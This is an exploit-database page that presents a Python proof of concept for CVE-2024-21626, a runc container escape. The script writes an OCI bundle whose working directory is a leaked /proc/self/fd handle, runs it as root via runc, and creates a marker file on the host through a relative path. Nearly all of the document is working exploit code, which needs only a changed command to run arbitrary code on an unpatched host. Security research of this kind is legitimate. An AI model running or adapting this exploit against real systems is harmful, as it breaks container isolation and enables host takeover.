Exploit databaseDownload repository ZIP
GH-03334833b3a665578dc47f0ec661d067
scherepiuk/container-escape-ebpf
Sources for CVE-2024-21626
15 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
scherepiuk/container-escape-ebpfRevision 090c2c5f1c3f
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
files/pocs/cve-2024-21626.py
Python · 2,884 bytes#!/usr/bin/env python3
import json
import pathlib
import shutil
import string
import random
import subprocess
OCI_CONFIG = {
"ociVersion": "1.2.1",
"process": {
"terminal": False,
"user": { "uid": 0, "gid": 0 },
"args": [ "/bin/touch", "../../../pwned_by_cve_2024_21626" ],
"env": [ "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "LD_LIBRARY_PATH=/lib:/lib64" ],
"cwd": "/proc/self/fd/7", # Symlink to /sys/fs/cgroup directory.
"noNewPrivileges": True, # Standard container security - doesn't prevent this exploit.
},
"root": { "path": "rootfs", "readonly": True },
"mounts": [
{ "destination": "/proc", "type": "proc", "source": "proc" },
],
"linux": {
"namespaces": [
{ "type": "pid" },
{ "type": "network" },
{ "type": "ipc" },
{ "type": "uts" },
{ "type": "mount" },
{ "type": "cgroup" },
],
"maskedPaths": [
"/proc/acpi",
"/proc/asound",
"/proc/kcore",
"/proc/keys",
"/proc/latency_stats",
"/proc/timer_list",
"/proc/timer_stats",
"/proc/sched_debug",
"/sys/firmware",
"/proc/scsi",
"/proc/sys/kernel/core_pattern"
]
}
}
def prepare_bundle() -> str:
bundle_dir = pathlib.Path("bundle")
rootfs_dir = bundle_dir / "rootfs"
if bundle_dir.exists():
shutil.rmtree(bundle_dir)
(rootfs_dir / "bin").mkdir(parents=True, exist_ok=True)
(rootfs_dir / "dev").mkdir(parents=True, exist_ok=True)
(rootfs_dir / "proc").mkdir(parents=True, exist_ok=True)
(rootfs_dir / "lib64").mkdir(parents=True, exist_ok=True)
(rootfs_dir / "lib" / "x86_64-linux-gnu").mkdir(parents=True, exist_ok=True)
for binary in ["touch"]:
host_path = pathlib.Path("/bin") / binary
shutil.copy2(host_path, rootfs_dir / "bin" / binary)
shutil.copy2("/lib64/ld-linux-x86-64.so.2", rootfs_dir / "lib64/ld-linux-x86-64.so.2")
shutil.copy2("/lib/x86_64-linux-gnu/libc.so.6", rootfs_dir / "lib/x86_64-linux-gnu/libc.so.6")
config_path = bundle_dir / "config.json"
with open(config_path, "w+") as f:
json.dump(OCI_CONFIG, f, indent=2)
return str(bundle_dir.absolute())
def run_container(bundle_dir: str) -> str:
name = random_string(32)
subprocess.run(["runc", "--log", "/tmp/log.log", "run", "--detach", "--bundle", bundle_dir, name])
return name
def random_string(length: int) -> str:
symbols = string.ascii_letters + string.digits
return "".join(random.choices(symbols, k=length))
def main() -> None:
bundle_dir = prepare_bundle()
name = run_container(bundle_dir)
print(f"Launched container: {name}")
if __name__ == "__main__":
main()